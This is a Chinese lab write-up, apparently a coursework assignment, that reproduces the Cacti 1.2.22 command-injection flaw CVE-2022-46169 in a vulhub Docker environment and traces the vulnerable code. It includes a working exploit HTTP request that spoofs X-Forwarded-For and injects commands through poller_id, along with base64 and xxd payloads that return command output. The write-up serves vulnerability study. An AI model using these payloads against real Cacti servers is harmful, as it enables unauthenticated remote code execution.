滲透高級-----測試復現(第三次作業)

文章目錄

  • 測試復現
    • 一,環境搭建
    • 二,通過VS Code連接cacti
    • 三,測試

測試復現

一,環境搭建

1,在ubuntu虛擬機上安裝MySql數據庫:

apt-get upgrade     # 更新apt-get upgrade
apt-get update      # 更新apt-get update
apt-get install mysql-server     # 安裝mysql
service mysql start      # 啟動MySQL
service mysql status     # 查看mysql狀態

在這里插入圖片描述

root@ning:~# netstat -tap | grep mysql      
tcp        0      0 localhost:mysql         0.0.0.0:*               LISTEN      33859/mysqld  

2,在github…com官網搜索對應的cacti安裝包;

在這里插入圖片描述

root@ning:~/vulhub/cacti/CVE-2022-46169# proxychains wget https://github.com/Cacti/cacti/archive/refs/tags/release/1.2.22.zip
// 在Ubuntu虛擬機上安裝對應的安裝包
root@ning:~/vulhub/cacti/CVE-2022-46169# unzip 1.2.22.zip    # 解壓縮

安裝完后,根據vulhub官方文檔上的操作執行。

第一步:執行如下命令啟動一個Cacti 1.2.22版本服務器:

root@ning:~/vulhub/cacti/CVE-2022-46169# docker-compose up -d

第二步:環境啟動后,訪問主機IP:8080端口,進入到cacti登錄頁面:

在這里插入圖片描述

第三步:使用admin/admin作為賬號密碼登錄,并根據頁面中的提示進行初始化,初始化的過程就是點擊"下一步",直到安裝成功即可:

在這里插入圖片描述

第四步:本次測試的利用需要Cacti應用中至少存在一個類似是POLLER_ACTION_SCRIPT_PHP的采集器。所以,我們在Cacti后臺首頁創建一個新的Graph:

在這里插入圖片描述

選擇的Graph Type是“Device - Uptime”,點擊創建:

在這里插入圖片描述

3,測試

完成上述初始化后,切換到測試角度,發送如下數據包:

GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success` HTTP/1.1
X-Forwarded-For: 127.0.0.1
Host: localhost.lan
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

在這里插入圖片描述

雖然響應包里沒有回顯,但是進入容器中即可發現/tmp/success已成功被創建:

root@ning:~/vulhub/cacti/CVE-2022-46169# docker-compose exec web bash
root@6557b88583fa:/var/www/html# ls -al /tmp/
total 16
drwxrwxrwt 1 root     root     4096 Jul 25 03:52 .
drwxr-xr-x 1 root     root     4096 Jul 25 02:09 ..
-rw------- 1 www-data www-data 2429 Jul 25 03:50 sess_23c70c6c8a85bccae51d57b4c8f663bd
-rw------- 1 www-data www-data 1528 Jul 25 03:52 sess_dd35abcf5e60b64ff4c2124202bd7e48
-rw-r--r-- 1 www-data www-data    0 Jul 25 03:52 success

二,通過VS Code連接cacti

在這里插入圖片描述

1,代碼審計:

繞過 remote_client_authorized 鑒權函數

// remote_agent.php(nu53-nu56)
if (!remote_client_authorized()) {print 'FATAL: You are not authorized to use this service';exit;
}

get傳遞的參數,是用戶可控的,一定能走進case polldata 這個開關語句,一定會觸發poll_for_data 函數。

在這里插入圖片描述

可以通過ctrl+鼠標右鍵進行函數追蹤:

在這里插入圖片描述

// remote_agent.php:nu324-nu428
if (cacti_sizeof($items)) {foreach($items as $item) {switch ($item['action']) {    // 判斷action的值,action的默認值為2case POLLER_ACTION_SNMP: /* snmp */......case POLLER_ACTION_SCRIPT: /* script (popen) */......case POLLER_ACTION_SCRIPT_PHP: /* script (php script server) */......

通過ctrl+鼠標右鍵追蹤這三個常量可以得知,POLLER_ACTION_SCRIPT_PHP常量的值為2,所以會執行POLLER_ACTION_SCRIPT_PHP后面的代碼:

// global_constants.php:nu106-nu109
/* used both for polling and reindexing */
define('POLLER_ACTION_SNMP', 0);
define('POLLER_ACTION_SCRIPT', 1);
define('POLLER_ACTION_SCRIPT_PHP', 2);

在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述

如果需要執行命令,需要繞過這幾個判斷:

一定要將output賦值給value,否則output就會變成U
在這里插入圖片描述

這里做了一個prepare_validate_result提前的判斷,一定要繞過這個函數;

在這里插入圖片描述

substr_count:計算字符串出現的次數。例如:

<?php
$text = 'This is a test';
echo strlen($text), PHP_EOL; // 14echo substr_count($text, 'is'), PHP_EOL; // 2// 字符串被簡化為 's is a test',因此輸出 1
echo substr_count($text, 'is', 3), PHP_EOL;// 字符串被簡化為 's i',所以輸出 0
echo substr_count($text, 'is', 3, 3), PHP_EOL;// 輸出 1,因為該函數不計算重疊字符串
$text2 = 'gcdgcdgcd';
echo substr_count($text2, 'gcdgcd'), PHP_EOL;// 因為 5+10 > 14,所以拋出異常
echo substr_count($text, 'is', 5, 10), PHP_EOL;
?>22

在這里插入圖片描述

filter_var:使用特定的過濾器過濾一個變量。這個過濾器可以驗證IP是否合法。

在這里插入圖片描述

當這里的驗證繞過后,代碼就可以執行。

2,創建一個test.php測試代碼:

<?php
echo '<pre>';
var_dump($_SERVER);

在這里插入圖片描述

3,修改config.php文件:

root@ning:~/usr/local/nginx/html/cacti/include/config.php

$database_type     = 'mysql';
$database_default  = 'cacti';
$database_hostname = 'localhost';
$database_username = 'root';
$database_password = 'root123';
$database_port     = '3306';
$database_retries  = 5;
$database_ssl      = false;
$database_ssl_key  = '';
$database_ssl_cert = '';
$database_ssl_ca   = '';
$database_persist  = false;

4,修正環境變量

以下配置均在容器內部進行:

# 安裝指定版本的xdebug
root@6557b88583fa:/var/www/html# pecl install xdebug-3.1.6# 啟用擴xdebug展
root@6557b88583fa:/var/www/html# docker-php-ext-enable xdebug# 重啟容器
root@6557b88583fa:/var/www/html# exit
root@ning:/usr/local/nginx/html/cacti/lib# docker restart 6557b88583fa
// 3.1.6是php7.4對應的debug# 編輯 docker-php-ext-xdebug.ini 配置文件
root@ning:~# docker exec -it 6557b88583fa /bin/bash
root@6557b88583fa:/var/www/html# cd /usr/local/etc/php/conf.d
root@6557b88583fa:/usr/local/etc/php/conf.d# ls -al
-rw-r--r-- 1 root root   22 Jul 25 09:49 docker-php-ext-xdebug.ini
root@6557b88583fa:/usr/local/etc/php/conf.d# vim docker-php-ext-xdebug.ini     # 添加如下內容
zend_extension=xdebug
xdebug.mode=debug
xdebug.start_with_request=yes

5,進數據庫

root@ning:/usr/local/nginx/html# docker exec -it 360eb4ccb010 /bin/bash
bash-4.2# mysql -uroot -proot
mysql> use cacti
....
Database changed
mysql> show tables;         # 查看表單

三,測試

1,打斷點

在這里插入圖片描述

2,抓包

  1. 開啟burp suite

    在這里插入圖片描述

  2. 在瀏覽器中訪問

    在這里插入圖片描述

  3. 將burp suite抓取到的包發送到repeater

    在這里插入圖片描述

  4. 修改部分數據后,send

    在這里插入圖片描述

雖然沒有回顯,但是在訪問容器內容時,生成了success文件:

在這里插入圖片描述

3,構造命令行

在這里插入圖片描述

下面的命令在傳參時,為了防止空格的影響,都要先進行urlencode編碼:

|echo "test\r\n `id | xxd -p -c 1 | awk '{printf \"%s \", $0}'`";

在這里插入圖片描述

|echo "test\r\n :`id | base64 -w0`";

在這里插入圖片描述

運行完后,只需要將輸出的值通過base64轉碼后,就能達到預想達到結果:

在這里插入圖片描述

|echo "test\r\n `id | base64 -w0 | awk -v ORS=':' '{printf $0}'`";

在這里插入圖片描述

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/90862.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/90862.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/90862.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

LINUX727 磁盤管理回顧1;配置文件回顧

邏輯卷快照 快照為什么這么小RAID 磁盤陣列 raid 0 raid 1 raid5 raid10raid0 raid1 raid5 raid6 raid10 rank;create raid0 mdadm -c /dev/md0 -l 0 -n 2 /dev/sdb3 /dev/sdb4 raid1 mdadm -c /dev/md1 -l 1 -n 2 /dev/sdb5 /dev/sdb6 raid5 mdadm -c /dev/md5 -l 5 -n 3 -x …

【筆記】Einstein關系式 D = ukBT 的推導與應用研究

文章目錄從漲落理論和能量均分定理的數學推導基于平衡統計力學的推導1. 漂移流的來源&#xff1a;Jdrift?μρ?UJ_{drift} -μρ?UJdrift??μρ?U物理機制粒子流的形成2. 擴散流的來源&#xff1a;Jdiffusion?D?ρJ_{diffusion} -D?ρJdiffusion??D?ρ3. 熱平衡要…

AJAX 原理_第一節_XHR 對象

文章目錄1.AJAX原理1.1 初識XML1.2 查詢參數1.3 案例-地區查詢1.4 案例-注冊-設置請求頭1.AJAX原理 1.1 初識XML AJAX原理是什么? XMLHttpRequest對象 XHR對象定義: 通過XMLHttpRequest可以在不刷新頁面的情況下請求特定URL,獲取數據.這允許頁面在不影響用戶操作的情況下,更…

BeautifulSoup 使用詳解與實戰示例

BeautifulSoup 是一個用于解析HTML和XML文檔的Python庫&#xff0c;它能夠將復雜的HTML文檔轉換成一個復雜的樹形結構&#xff0c;使得我們可以輕松地查找和提取所需的內容。下面我將詳細介紹BeautifulSoup的使用流程&#xff0c;并結合實際示例進行說明。一、安裝與基礎使用1.…

LangChain實戰——實現多輪對話 + Function Calling

隨著大語言模型&#xff08;LLMs&#xff09;的迅猛發展&#xff0c;“Function Calling”&#xff08;函數調用&#xff09;逐漸成為一個重要的能力&#xff0c;它使得模型不僅能聊天&#xff0c;還能像“中控大腦”一樣調用外部函數完成具體任務&#xff0c;比如查天氣、調用…

湖南(源點咨詢)市場調研 如何在行業研究中快速有效介入 起頭篇

行業研究從業人員經常需要在承接研究案子后快速的摸清委托方所在行業。而俗話說&#xff0c;隔行如隔山&#xff0c;快速了解行業&#xff0c;主要用于行業分析報告及為市場細分準入進行前期鋪墊&#xff0c;要想摸清一個行業&#xff0c;需要長期持續的跟蹤。了解一個行業&…

【c++】從 “勉強能用” 到 “真正好用”:中文問答系統的 200 行關鍵優化——關于我用AI編寫了一個聊天機器人……(16)

先看核心結論&#xff1a;兩段代碼的本質區別如果用一句話總結兩段代碼的差異&#xff1a;前者是 “帶中文支持的問答系統”&#xff0c;后者是 “真正適配中文的問答系統”。具體來說&#xff0c;兩段代碼的核心功能都是 “加載問答數據→接收用戶輸入→匹配答案”&#xff0c…

VR 技術在污水處理領域的創新性應用探索?

在廣州&#xff0c;VR 污水處理技術的應用可謂是多點開花。首先&#xff0c;在污水處理流程模擬方面&#xff0c;工程師們利用 VR 技術創建了高度逼真的污水處理廠三維模型&#xff0c;將污水處理的整個流程&#xff0c;從預處理去除大顆粒雜質和懸浮物&#xff0c;到初級處理通…

深度學習暑期科研項目(兩個月發EI論文)

深度學習暑期科研項目&#xff08;8周發EI論文&#xff09; 哈爾濱工業大學博士的六大選題對本科生而言&#xff0c;越早接觸系統的科研訓練開始上手科研項目&#xff0c;就越能在未來的升學求職中占據很大的優勢。暑假是提升個人簡歷、豐富科研經歷的最佳時期&#xff01;哈爾…

【RH134 問答題】第 1 章 提高命令行運行效率

目錄#!/bin/bash 是什么意思&#xff1f;PATH 變量有什么重要作用&#xff1f;echo 命令的作用是什么&#xff1f;解釋下列正則表達式的含義簡述正則表達式和 shell 模式匹配的區別&#xff0c;在 shell 命令使用正則表達式的時候需要注意什么&#xff1f;#!/bin/bash 是什么意…

OpenCV(02)圖像顏色處理,灰度化,二值化,仿射變換

【OpenCV&#xff08;01&#xff09;】基本圖像操作、繪制&#xff0c;讀取視頻 目錄圖像顏色加法灰度化二值化仿射變換圖像顏色加法 顏色加法 import cv2 as cv import numpy as np#讀圖 cao cv.imread(E:\hqyj\code\opencv\images\cao.png) pig cv.imread(E:\hqyj\code\o…

嵌入式——單片機的獨立按鍵

一、目的功能通過開發板上的獨立按鍵k1控制d1指示燈亮滅&#xff0c;k1一次亮再按一次滅。二、硬件原理圖三、消抖理解&#xff08;一&#xff09;核心原理&#xff1a;當事件被重復觸發時&#xff0c;設置一個延遲&#xff0c;只有在該時間內沒有新的事件被觸發&#xff0c;才…

機器學習的工作流程

&#x1f31f; 歡迎來到AI奇妙世界&#xff01; &#x1f31f; 親愛的開發者朋友們&#xff0c;大家好&#xff01;&#x1f44b; 我是人工智能領域的探索者與分享者&#xff0c;很高興在CSDN與你們相遇&#xff01;&#x1f389; 在這里&#xff0c;我將持續輸出AI前沿技術、實…

聚類里面的一些相關概念介紹闡述

一、性能度量外部指標&#xff1a;聚類結果與某個“參考模型”進行比較&#xff1b;系數&#xff1a; &#xff0c;其中的 表示樣本是否屬于某類簇&#xff1b; 指數&#xff1a;&#xff0c;其中 表示樣本在兩個聚類結果中都是同一類簇&#xff0c; 表示在其中一個聚類結果中…

mmap機制

先看這個 MMAP 機制通俗易懂-CSDN博客 一句話 **mmap(memory map)是操作系統提供的“把文件或設備直接映射到進程虛擬地址空間”的機制,Java 里對應 `MappedByteBuffer`。** --- ### 1. 技術本質 - 系統調用:`mmap()`(POSIX)、`CreateFileMapping`(Windows)。 …

嵌入式硬件篇---驅動板

制作 ESP32 驅動板的核心是 “搭建 ESP32 與外設之間的橋梁”—— 因為 ESP32 的 GPIO 引腳輸出電流很小&#xff08;最大 20mA&#xff09;&#xff0c;無法直接驅動大功率設備&#xff08;如電機、繼電器、電磁閥等&#xff09;&#xff0c;驅動板的作用就是放大電流 / 功率&…

UniappDay01

1.技術架構2.創建uniapp項目 通過HBuilderX創建 官網安裝創建uniapp vue3項目安裝uniapp vue3的編譯器在工具欄啟動微信小程序開啟服務端口模擬器窗口分離和置頂 通過命令行創建 3.pages.json和tabbar案例 pages.json用來配置路由&#xff0c;導航欄&#xff0c;tabbar等頁面類…

子空間投影,投影矩陣,最小二乘法

一、子空間投影 1.1 投影與誤差向量b 在 向量a 上的投影即 a 上離 b 最近的點&#xff1a; paTbaTaa p \frac{a^T b}{a^Ta}a paTaaTb?a 我們記 誤差 e b - p&#xff0c;顯然誤差e 和 a 是正交的。 1.2 投影矩陣向量b 在子空間S上的投影是S中離b 最近的向量p。 我們做如下推…

基于FPGA的SPI控制FLASH讀寫

基于FPGA的SPI控制FLASH讀寫 文章目錄基于FPGA的SPI控制FLASH讀寫一、SPI簡介二、FLASH_M25P16簡介信號描述功能操作注意時序三、設計思路框圖設計狀態機設計四、上板驗證1、讀ID2、讀數據3、扇區擦除寫數據五、總結六、代碼一、SPI簡介 SPI是Serial Peripheral interface的縮…

Pytest 參數化進階:掌握 parametrize 的多種用法

概述 在自動化測試中,@pytest.mark.parametrize 不僅僅能用來為測試函數提供多組輸入數據,還能配合其他功能實現更復雜的測試邏輯。本文將帶你深入了解 @pytest.mark.parametrize 的多種常見用法,助你在不同場景下寫出更高效、更清晰的測試代碼 基礎用法回顧:單個參數化 …